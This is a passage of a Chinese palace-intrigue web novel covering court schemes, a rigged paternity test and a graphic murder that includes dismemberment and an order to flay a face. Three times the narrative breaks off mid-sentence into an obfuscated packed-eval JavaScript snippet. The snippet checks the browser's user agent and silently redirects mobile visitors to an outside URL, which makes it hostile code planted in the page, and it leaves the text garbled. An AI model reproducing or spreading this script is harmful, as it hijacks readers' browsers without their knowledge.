她身形极高,容貌明艳,眉梢眼角都带着一股子傲气。 殿内其余嫔妃见状,立刻起身,齐刷刷地行礼:“嫔妾见过贵妃娘娘!” “妹妹们免礼!”那高贵妃摆了摆手,径直走到皇后面前,懒洋洋地福了福身子,“皇后娘娘,臣妾来晚了。您可别怪罪,昨夜麟儿那孩子积食了,闹腾得厉害,臣妾一整晚都没合眼,这才起晚了。” 她口中说着请罪的话,脸上却无半点愧疚,反而带着炫耀。 麟儿,她的儿子,也是北陵皇帝最宠爱的皇子。 皇后脸上挂着得体的笑,声音听不出喜怒:“本宫怎会怪罪。贵妃照顾皇子辛苦,快落座吧。” 待高贵妃落座,皇后才环视众人:“今日各位姐妹齐聚,若宫中有什么事,可以向本宫禀告。” 话音刚落,高贵妃便开了口,声音清亮,压过了殿内所有声响。 “皇后娘娘,臣妾倒是有个提议!” “高贵妃请讲。” 高贵妃抚了抚自己手腕上成色极佳的玉镯,慢悠悠道:“娘娘,按咱们北陵后宫的惯例,陛下每逢初一、十五,都该歇在您的凤栖宫。可太医不是说了吗?娘娘您身子骨弱,子嗣艰难。陛下就算来得再勤,您也未必能怀上龙嗣。倒不如……将这恩典让出来,也给其他姐妹们一些机会。这样一来,姐妹们雨露均沾,才好为皇家开枝散叶,您说是不是这个理儿?” 此话一出,整个凤栖宫正殿,瞬间死寂。 所有人都垂下头,不敢出声,连呼吸都放轻了。 高贵妃的话,字字句句,都像一记响亮的耳光,狠狠扇在皇后的脸上。 姜姝宁隔着一扇窗,都感觉到了那份铺天盖地的羞辱。 她看到皇后的脸颊瞬间失了血色,嘴唇微微颤抖,放在膝上的手死死攥住了衣角,指节泛白。 一股怒火从姜姝宁心底猛地窜起。 堂堂一国之后,竟被一个贵妃当众逼迫到如此境地! 就因为她没有孩子! 这些年,她在这深宫里,究竟是怎么熬过来的? 姜姝宁心中一动,忽然意识到,自己能为皇后做些什么了。 第384章 万事俱备,只欠东风 第三百八十四章万事俱备,只欠东风 直到那些娇艳如花、却各怀心事的嫔妃们如潮水般退去,殿内终于恢复了片刻的死寂。 皇后才像是卸下了千斤重担,缓缓从那把象征着无上荣光的凤椅上站起身。 她揉了揉发僵的眉心,整个人都透着一股被抽干了精气神儿的疲惫。 这时,一名内侍悄无声息地滑了进来,躬身禀告:“娘娘,姜姑娘在偏殿等您。” 皇后的动作一顿,眼底的疲色更重。 她不得不重新提起那口气,强撑着精神往偏殿而去。 偏殿内,烛火摇曳。 姜姝宁一见她进来,立刻起身,恭敬地福了一礼:“民女见过皇后娘娘!” “姜姑娘无需多礼。”皇后勉强挤出一丝笑意,声音里带着不易察觉的沙哑,“快坐。” 姜姝宁将随身带来的食盒放在花梨木小几上,轻轻推到皇后面前:“娘娘,我做了些杏仁饼,您尝尝看合不合胃口。” “姜姑娘有心了。” 皇后依言打开了食盒。 一股淡淡的杏仁甜香弥漫开来。 她用手指拈起一块,动作优雅得体,可眼神却空洞洞的,没有半点想吃东西的欲望。 姜姝宁在她对面坐下,一双眼睛紧紧盯着她,心中那股子冲动几番起落,终于还是没压住。 “娘娘,方才……” 皇后抬起眼,那目光深得像一潭不见底的古井,静静地看着她:“你都听到了?” “……是。”姜姝宁索性不再躲闪,坦然点头。 皇后轻轻叹了口气,将那块只咬了一小口的杏仁饼放回碟中。 “宫里规矩多,姐妹们各有各的心思。她们想着为皇家开枝散叶,光耀门楣,也无可厚非。只是……这初一十五的日子,能不能让出来给她们,还得问过陛下的意思才行。” 语气里的无奈和苦涩,像藤蔓一样缠绕在每个字眼上,勒得人心头发紧。 姜姝宁心口一滞,脱口而出:“娘娘,您何苦这么忍着?高贵妃那话,明摆着就是欺人太甚!” 皇后笑了笑,烛光下,眼底竟有泪光在闪动:“本宫没有子嗣,却一直占着这皇后的位置,高贵妃心里有怨气,也……情有可原。” “娘娘,”姜姝宁的声音不大,却字字清晰,“若民女说,有能力帮您怀上龙嗣呢?” 皇后摇了摇头:“宫里几位太医都给本宫看过了。本宫失去第一个孩子的时候,身子伤得太重了,底子都坏了。这些年,再滋补的药材吃下去,也如泥牛入海,无济于事。” 姜姝宁轻声问:“娘娘,不知可否让民女为您把个脉?” 皇后点了点头。 姜姝宁伸出三根手指,轻轻搭在皇后光洁的手腕上。 片刻后,她开口,语气里是前所未有的笃定:“娘娘,您的身子已无大碍。当年小产虽伤了元气,但这些年将养下来,亏空早已补足。您之所以迟迟难以有孕,只是因为常年忧思郁结,导致气血不畅,宫寒血瘀罢了。若您信得过民女,民女有信心,帮您调理好。” 皇后猛地抬起头,那双死寂的眸子里终于迸发出一丝亮光,她抓住姜姝宁的手,声音都在发颤:“当真?” “当真。”姜姝宁回握住她冰凉的手,给予她力量,“以后我每日都来凤栖宫给您施针,再辅以药浴和食补,帮您活血化瘀,疏通经络。短则三月,长则半年,定能让您成功怀上龙嗣!” “好!”皇后眼中的泪终于滚落下来,她反手紧紧攥住姜姝宁的手,神色激动,“若真能让本宫怀上子嗣,你就是本宫的恩人!是这凤栖宫的恩人!” 姜姝宁轻轻点头,心中不由盘算着:若自己真成了皇后的恩人,要回大邺,应该不会太过难办吧? —— 大邺京城,南月首辅赵谦在服用了南月毒师开出的“药”后,神志渐渐恢复。 恢复神志的那天,姜瑶真急不可耐地赶到夜影阁与他相见。 一提起萧凌川,他那张儒雅苍老的脸顿时扭曲,满是刻骨的怨恨:“老夫平生从未见过这般心思歹毒的畜生!他对老夫的折磨,这笔血海深仇,老夫迟早要与他清算到底!” 姜瑶真心中冷笑一声,却面上不动声色,轻声问道:“倘若我有法子,能让萧凌川死无葬身之地,您可愿助我一臂之力?” 赵谦闻言,眼中凶光毕露,急切地问道:“什么法子?快说来听听!” 姜瑶真神色阴冷:“在大邺金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16485497|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 銮殿上,指认他是你与南月公主的亲生骨肉!届时,他身为敌国之子,别说当摄政王,就算是想活着离开大邸都难!” 赵谦重重点头,声音低沉而决绝:“好!只要能扳倒这个狼心狗肺的家伙,让老夫说什么,老夫都愿意去做!” 姜瑶真的唇角浮起一丝不易察觉的冷笑,心底暗道:万事俱备,只欠东风了。 她已经将这把锋利的刀递了过去,但愿大邺皇帝别让她失望。 几日后,金銮殿上。 萧凌川正准备启奏江南水患之事,尚未开口,龙椅之上的皇帝萧政贤却突然出声打断,语气中带着一丝意味深长的冷意:“摄政王,朕近日听闻,你从南月带回了一位‘贵客’,可此人尚未面圣,便被你藏匿于景王府中,究竟是何用意?” 萧凌川闻言,眉心微不可察地一紧,声音却依旧沉稳如冰:“确有此事。此人乃南月首辅赵谦,却是不折不扣的奸佞之臣。臣麾下探子查得,此人野心勃勃,为谋权篡位,竟亲手弑杀了南月皇帝花连城。 他还妄图借臣之手,吞并我大邺。臣识破其狼子野心后,将计就计,将其诱至京城,暂囚于府中严加看管。前不久,他竟被一群来历不明的江湖人士救走,如今下落不明!” “是吗?”萧政贤冷笑一声,眼神如刀锋般锐利,直刺萧凌川,“可朕却听说,那赵谦是你的亲生父亲!你如此急于藏匿,甚至想杀之灭口,莫非是怕自己的身世秘密暴露,动摇你在朝中根基?” 此言一出,金銮殿上群臣哗然,窃窃私语如潮水般涌起,整个大殿仿佛瞬间被无形的风暴席卷。 萧凌川面色不变,唇角却勾起一抹冰冷的笑意,字字如刀,掷地有声:“陛下此言从何而来?此等谣言,不仅是对臣生母的侮辱,更是对先皇的亵渎!若有真凭实据,臣甘愿领罪;若无,臣恳请陛下莫要轻信小人谗言!” 萧政贤眼中闪过一丝晦暗不明的光芒,缓缓抬手,声音却骤然拔高,带着不容置疑的威严:“既如此,便让那南月首辅亲自与你对峙!来人,将赵大人请上殿来!” 话音未落,内侍已高声应诺,殿外脚步声渐近,一名面容儒雅却神色阴鸷的中年男子被带入殿中。 此人,正是南月首辅赵谦。 第385章 荒谬的滴血认亲 第三百八十五章荒谬的滴血认亲 萧政贤笑意深邃,目光中藏着几分莫测高深。 他缓缓看向赵谦,声音低沉却带着不容忽视的威压:“赵大人,你可认得我大邺的摄政王景王?” 赵谦抬眼,目光阴鸷而坚定,毫不犹豫地高声道:“认得!他是老夫的亲生骨肉!” 此言如惊雷炸响,金銮殿上群臣哗然,整个大殿顷刻间沸腾起来。 姜丞相面色铁青,急忙出列,声嘶力竭地劝阻:“陛下,此人满口胡言,信口雌黄,您万万不可轻信!摄政王乃先皇与南月公主的骨肉,亦是您的亲兄弟,陛下切莫因这贼子一句妄言,便误信为真,伤了与摄政王(之)间的手足情谊啊!” 萧政贤冷哼一声,眼神如冰,语气不容置疑:“是否为妄言,一试便知!来人,宣严太医上殿!” 话音刚落,一名须发花白的老者便被内侍引上殿来。 此人正是新晋太医院使严太医,医术精湛,声名远扬。 他手中还端着一只盛满清水的白瓷盆,步履虽稳,眼神却透着几分不易察觉的忐忑。 萧政贤扫视全殿,沉声道:“今日便让严太医为摄政王与南月首辅做滴血认亲,以确证摄政王是否为我大邺皇室血脉,此举总该无人反对吧?” 殿下支持萧凌川的朝臣早已按捺不住,纷纷出言**,指责此举荒唐至极,简直有辱皇室威严。 “荒唐?”萧政贤冷笑,目光如刀般扫过众人,语气愈发森寒,“朕不过是想确保大邺皇室血脉纯正,何来荒唐之说?” 他转头直视萧凌川,眼中闪过一丝挑衅,“如何,四弟莫非也以为此事不该进行?” 萧凌川抬手一挥,止住朝臣的喧嚣,面无表情,声音却冷如寒冰:“本王自当配合陛下,以正视听。只是,不知陛下准备如何做这滴血认亲?” 萧政贤沉声道:“自然是取你与南月首辅之血,滴于水中,若血相融,便确为亲生父子!” 萧凌川微微颔首,神色淡然:“既如此,那便开始吧!” 萧政贤未料他答应得如此爽快,眉心微不可察地一紧,随即沉声催促:“严太医,还不快动手!” 严太医低头应诺,上前以银针刺破赵谦手指,一滴鲜红的血缓缓滴入清水中,泛起一圈细微的涟漪。 随即,他转而走向萧凌川,手中银针在烛光下寒光闪烁。 萧政贤端**,神色看似平静,实则心弦紧绷。 他早命人在水中动了手脚,无论何人之血滴入,皆会相融。 金銮殿下百官亲眼所见,只要萧凌川的血与赵谦相融,“父子”关系便成铁证! 届时,即便不能取萧凌川性命,亦可借此名正言顺将他逐至南月,永除后患! 然而,就在严太医银针将触及萧凌川指尖的一瞬,萧凌川眼神骤冷,猛然夺过银针,反手扣住严太医的手腕,以迅雷不及掩耳之势刺破其手指。 严太医惊呼一声,还未反应过来,便被萧凌川强行拉至盛水的瓷盆前,指尖一滴血猝然坠入水中。 那血,竟与赵谦之血缓缓相融! 殿上群臣目瞪口呆,惊呼声此起彼伏,整个金銮殿仿佛被这一幕彻底掀翻。 萧凌川转头,目光冰冷如霜,唇角却扯出一抹讥讽的笑,直视龙椅上的萧政贤,字字如刀:“陛下,看来,这赵首辅与严太医才是亲生父子!” 此话一出,宛如一记惊雷在金銮殿上炸开。 死寂,是长达数息的死寂。 随即,不知是谁先没忍住,“噗嗤”一声笑了出来,像一根引线,瞬间点燃了整个朝堂。 窃窃的笑声,压抑的议论声,嗡嗡地交织成一片,汇成了一股针对龙椅之上那人的无声嘲讽。 所有人的目光都聚焦在那只白瓷盆上。 碗中清水依旧,两滴嫣红的血珠却早已不见了踪影,它们融为了一体,不分彼此,仿佛本就是同源而出。 这滑稽又荒诞的“事实”,就这么明晃晃地摆在文武百官眼前。 龙椅上的萧政贤,脸上的得意与算计还未完全褪去,就那么僵在了那里。 他脸上的血色迅速褪了个一干二净,从涨红到煞白,不过是短短一瞬间。 那张尚算英俊的脸,此刻扭曲得像一张揉皱的废纸。 “不!不可能!这……这不是真的!”严太医第一个崩溃了。 他“扑通”一声跪倒在地,指着那碗水,手抖得像秋风中的落叶。“陛下!陛下明鉴啊!臣……臣与这南月使臣素未谋面,怎……怎会是父子?这其中一定有诈!一定有诈啊!” 他一边哀嚎,一边拼命向萧政贤磕头,额头撞在冰冷坚硬的金砖上,发出“咚咚”的闷响。 他想向皇帝求救,可当他抬起头,迎上的却是萧政贤一双淬了毒般的眼睛。 那眼神里没有半分援手之意,只有被彻底激怒的杀机和嫌恶。 严太医的心,瞬间沉到了谷底。 他明白了,他成了一枚弃子。 萧凌川松开钳制着严太医的手,慢条斯理地用一方锦帕擦了擦手指。 他甚至没有看萧政贤一眼,而是将那双幽深如古井的眸子转向了早已面如土色的赵谦。 “赵首辅,”他的声音不高,却清晰地传遍了大殿的每个角落,带着一种冰冷的戏谑,“真是可喜可贺。没想到你出使一趟大邺,还能寻回失散多年的亲生骨肉。看来这趟,没白来啊。” “你……你休要胡言乱语!”赵谦又惊又怒,指着萧凌川的手指都在发颤,“这……这分明是你搞的鬼!” “哦?”萧凌川终于抬眼,看向龙椅上那个快要气炸了的皇帝,唇角那抹笑意更深,却不达眼底,“陛下,您听见了?南月首辅说,是本王在这滴血认亲里搞了鬼。” 他顿了顿,环视一周,目光从一张张惊疑不定的脸上扫过。 “这水,是陛下的人准备的。这位严太医,是陛下新提拔的太医院使。这认亲的流程,也是陛下金口玉言定下的。从头到尾,本王可曾碰过那碗水一下?还是说……” 他话锋一转,声音陡然凌厉,“陛下认为,本王有未卜先知之能,能提前知晓陛下要用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491989|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此法,并神不知鬼不觉地在您眼皮子底下,给这碗水、这位严太医、这位赵首辅,全都下了咒?” 这一连串的诘问,字字如刀,句句诛心。 萧政贤被堵得一句话也说不出来,胸口剧烈起伏,牙齿咬得咯咯作响。 他怎么说? 说水有问题? 那岂不是不打自招,承认自己设局陷害亲弟弟? 说水没问题? 那岂不是要当着满朝文武的面,承认自己御下不严,用的人是个连亲爹都认错的蠢货,还把这场闹剧当真了? “陛下!”姜丞相立刻站了出来,对着萧政贤一拱手,声如洪钟,“如今真相‘大白’!看来这滴血认亲之法,纯属无稽之谈!严太医与赵首辅都能成父子,可见此法根本做不得准!还请陛下收回成命,莫要再用此等荒唐手段,来质疑摄政王的血脉,寒了宗亲与百官的心啊!” “请陛下收回成命!”支持萧凌川的官员们立刻跪倒一片,齐声附和。 萧政贤千算万算,没算到萧凌川会直接拿他的人当场试验,把这出构陷大戏,变成了一场贻笑大方的滑稽剧。 “够了!” 龙椅上,萧政贤终于爆发出一声怒吼。 他猛地一拍龙椅扶手,巨大的声响让整个大殿都为之一静。 “荒唐!简直是荒唐至极!”他双目赤红,死死地瞪着下面跪着的严太医,所有的愤怒和**,在这一刻找到了宣泄口。“严太医**,行事不端,致使朝堂之上出现此等闹剧!来人!” 他几乎是吼出来的:“给朕把这个废物拖出去!杖毙!” 两名殿前侍卫立刻上前,像拖死狗一样架起已经瘫软如泥的严太医。 “陛下饶命!陛下饶命啊!臣冤枉!臣……” “慢着!”萧凌川忽然开口,声如寒冰,制止了殿内的喧嚣。 他转向萧政贤,语气沉稳却暗藏锋芒,“陛下,严太医毕竟是太医院的老人,医术精湛,又常年为陛下调理龙体,若就此杖毙,未免太过可惜。不如留他一命,命其将功折罪,专心为陛下与皇后调理身子,早日为我大邺诞下储君,开枝散叶,延续皇室血脉,陛下以为如何?” 此言一出,殿上朝臣纷纷点头附和。 这话看似宽仁大度,满是为皇室着想,实则字字如针,直戳萧政贤心底最隐秘的痛处——帝后无嗣之事,竟被堂而皇之地摆上朝堂,赤裸裸地给了萧政贤一记无形的耳光。 殿下百官皆心知肚明,皇帝之所以处心积虑设局构陷摄政王,无非是因自身无子,恐萧凌川威胁帝位。 如今这番话一出,萧政贤的私心杂念,尽数被撕开示众。 萧政贤脸色铁青,胸口急促起伏,粗重的喘息声几欲冲破喉咙。 他的目光如淬了毒的利刃,狠狠剐过萧凌川那张波澜不惊的脸庞,仿佛要在其上剜出几个血窟窿来。 “就……依摄政王(之)言!”他咬紧牙关,几乎是从牙缝中挤出这句话,每一个字都似带着血腥味,声音低沉得仿佛压抑着无尽的怒火与不甘,“退朝!” 第386章 姜瑶真的杀戮 第三百八十六章姜瑶真的杀戮 一场精心策划的构陷,瞬间沦为一出滑稽可笑的闹剧。 萧政贤狼狈不堪,在满朝文武或同情、或鄙夷、或幸灾乐祸的目光中,几乎是逃也似的宣布了退朝。 他身后,萧凌川身姿挺拔如松,缓步而行,所过之处,官员们无不躬身行礼,那份敬畏,远胜于对仓皇离去的皇帝。 …… 阴暗潮湿的天牢深处,腐臭与血腥味混合成一种令人作呕的气息。 赵谦被丢在一个角落的稻草堆上,四肢被粗重的铁链锁着,狼狈得像条丧家之犬。曾经在南月权倾朝野的威风早已荡然无存,只剩下一具枯槁的躯壳和满眼的恐惧。 沉重的脚步声由远及近,在空寂的甬道里回响,每一下都像是踩在他的心尖上。 他惊恐地抬起头,透过牢门昏暗的光线,看到了一双黑底金线的云靴,再往上,是那身他再熟悉不过的,象征着大邺无上权力的亲王**袍。 萧凌川来了。 “不……不要过来……”赵谦吓得浑身发抖,拼命向后缩,可冰冷的墙壁挡住了他的退路。 他想起被萧凌川关在景王府地牢里的惨状,那种被虫豸啃噬、深入骨髓的剧痛,让他至今想起来都不寒而栗。 “王爷饶命啊!此事……全是魏夫人的主意!”他急切地辩解,将所有的罪责推得一干二净,“她说,只要老夫在殿上指认你……指认你是老夫和芷若的骨肉,她便派人送老夫回南月!老夫是太想回家了,才一时糊涂答应了她!并非有意和摄政王你作对啊!” 萧凌川站在牢外,居高临下地看着他,神色平淡无波,仿佛在看一只蝼蚁的垂死挣扎。 “本王只是好奇,”他终于开口,声音冷得没有一丝温度,“你在地牢里已经癫狂无状,为何会忽然恢复清明?” 赵谦一愣,随即解释道:“是魏夫人!是她找人给老夫看病,老夫服用了不少药,这才渐渐好起来的……” 话还没说完,他喉头猛地一阵翻涌,腥甜的气息直冲鼻腔。 “噗”的一声,一口紫黑色的黏稠血液从他口中喷出,溅在身前的稻草上。 赵谦顿时惊恐万分。 这血怎么颜色如此古怪? 萧凌川目光落在地上那滩血上,若有所思地点了点头:“现在本王知道,魏夫人找的是谁给你调配药了。” “谁?”赵谦下意识地追问,一股不祥的预感攫住了他的心脏。 萧凌川的唇角勾起一抹极淡的弧度,那笑意却比天牢的寒气更冷彻骨髓。 “南月毒师。或者说,柔妃?” “南月毒师”四个字,如同一道惊雷,在赵谦脑中轰然炸响。 他浑身剧烈一颤,瞳孔骤然紧缩。 萧凌川轻笑出声,那笑声在死寂的牢房里显得格外刺耳,如同恶魔的私语:“柔妃便是传闻中的南月毒师,她最擅长以毒攻毒。首辅大人,好好享受这**的反噬吧!” 说完,他直起身,掸了掸衣袖上并不存在的灰尘,转身扬长而去。 “啊——!” 撕心裂肺的惨嚎声从身后传来,萧凌川却连头都未回。 赵谦只觉得五脏六腑都像是被无数只手同时撕扯,搅成了一团烂泥。 剧痛如潮水般将他淹没,他痛苦地在地上翻滚,用头去撞击坚硬的墙壁,铁链被他挣得哗哗作响。 他想求死,却连死的力气都没有。 在无尽的痛苦中,他的意识开始涣散,眼前浮现出重重幻影。 他仿佛看到了花芷若。 她还是那般明艳动人,穿着华丽的宫装,站在一片血色之中,正对着他笑。 那笑容里,却淬满了浓得化不开的恨意。 “赵大人,”她的声音空灵而怨毒,一字一句地敲打着他即将崩溃的神经,“这下,你能感受到,本宫死前的绝望了吧?” “不……不……”赵谦伸出手,想要抓住什么,却只抓到了一片虚无。 他发出最后一声凄厉的哀嚎,身体猛地一弓,随即重重地摔回稻草堆上。 四肢抽搐了几下,便再也没有了任何声息。 …… 滴血认亲的局,败了。 消息传到姜瑶真耳中时,她正临窗描摹一幅山水,指尖的狼毫微微一顿,一滴浓墨便污了画卷。 她静静看着那团墨迹,像一朵盛开的、不祥的黑花。 片刻后,她搁下笔,脸上看不出什么情绪,唯有那双漂亮的美眸深处,恨意如深海下的暗流,翻涌不休。 京城西郊,一家不起眼的饭馆,后院柴房。 “首辅大人被萧凌川关进天牢了。”姜瑶真走进去,对着正在擦拭利剑的寒影冷声道。 寒影握着剑柄的手猛然收紧,眼中杀气毕现:“大人有难!我这就带人去劫狱!无论生死,我们夜影阁的人都要守着大人!” 他没有一丝犹豫,转身发出指令。 尖锐的哨声划破长空,一道道黑影从饭馆各处角落涌出,如鬼魅般集结,又如潮水般退去,眨眼间便消失得无影无踪。 喧闹的后院瞬间死寂,只剩下姜瑶真和另一个端坐在一旁,始终未动的中年妇人——姜三夫人。 姜三夫人看着姜瑶真,神色有些复杂:“我们的计划失败了。以萧凌川那睚眦必报的性子,他肯定会顺藤摸瓜找到你。你不跑?” 姜瑶真脸上绽开一抹笑,纯然又无害。 “我当然要跑,”她缓步走到姜三夫人面前,亲昵地挽住她的手臂,“我这次来,就是想和三婶一起离开呀。三婶不是一直念叨着要去北陵找三弟吗?正好,我陪您一起去!” 姜三夫人身体一僵,不动声色地抽回了自己的手。 她摇了摇头,眼神疏离:“抱歉,天泽怕是不愿意见到你。” “二小姐,你别忘了,你从前是怎么算计大小姐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491990|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。天泽对你的怨恨,至今未消。我要是把你带到北陵,他见了你,怕是不会让你好过的。” 空气仿佛凝固了。 姜瑶真脸上的笑意一点点褪去,取而代之的是一种诡异的平静。 “是吗?”她幽幽道,“既然如此,那便只能让三婶……一个人上路了。” 最后三个字,她吐得极慢,每个字都像淬了剧毒的冰锥。 姜三夫人心中警铃大作,一股寒意从脚底直冲天灵盖! 她正要从袖中取物,可一切都太迟了。 两道黑影毫无预兆地从窗外扑入,快如闪电! 冰冷的剑光一闪而过! “啊——!” 一声凄厉到极致的惨嚎撕裂了柴房的寂静。 两条手臂齐刷刷飞了出去,温热的血浆如喷泉般涌出,瞬间染红了地面。 姜三夫人重重摔在地上,两条断臂血肉模糊,她痛苦得疯狂打滚,哀嚎声凄厉得不似人声。 姜瑶真站在一片血泊前,裙角未沾半分血污。 她看着在地上痛苦痉挛的姜三夫人,竟对着身旁两个黑衣暗卫笑了起来,语气带着几分炫耀。 “看吧,我都说了,只要把她的手砍掉,她就没办法用那些毒物了。” 姜三夫人疼得几乎昏死过去,好不容易才缓过一口气,她用尽全身力气抬起头,那双因剧痛而凸出的眼睛里,满是难以置信:“你……你为何……” “我为何要这么对你,是吗?” 姜瑶真抬起脚,狠狠踩上那还在汩汩冒血的伤口上! 姜三夫人再次惨叫出声,身体剧烈地抽搐起来。 姜瑶真的神情阴鸷得可怕,眼底的恨意犹如实质,几乎要将人吞噬。 “那日,在相府,我看见了姨娘。”她的声音很轻,却字字泣血,“她不是被萧凌川的人杀的!她是……被你们母子,用蛊虫控制,活生生被啃食掉一身血肉,最后才咽气的!” “我那时候就想杀了你们!但你的毒术还有用。所以我忍着。现在,你没用了。” 她站起身,面无表情地从一个暗卫腰间抽出长剑。 “所以,你**吧!” 话音未落,她双手握剑,用尽全力,猛地刺入姜三夫人的胸口! “噗嗤”一声,利刃穿透血肉。 姜三夫人瞪大双眼,所有的痛苦、惊恐和不甘都凝固在那最后一刻,再也没了气息。 姜瑶真抽出长剑,嫌恶地在姜三夫人的衣服上擦了擦血迹。 她将剑扔还给暗卫,声音冷酷如冰。 “把她的脸皮给我仔细剥下来,一点都不能弄坏了!我要让人,做一张跟她一模一样的**!” 两个暗卫躬身领命:“是,魏夫人!” 姜瑶真抬起头,看向北陵的方向,唇角勾起一抹阴森到极致的笑。 姜天泽,你母亲**。 接下来,就轮到你了!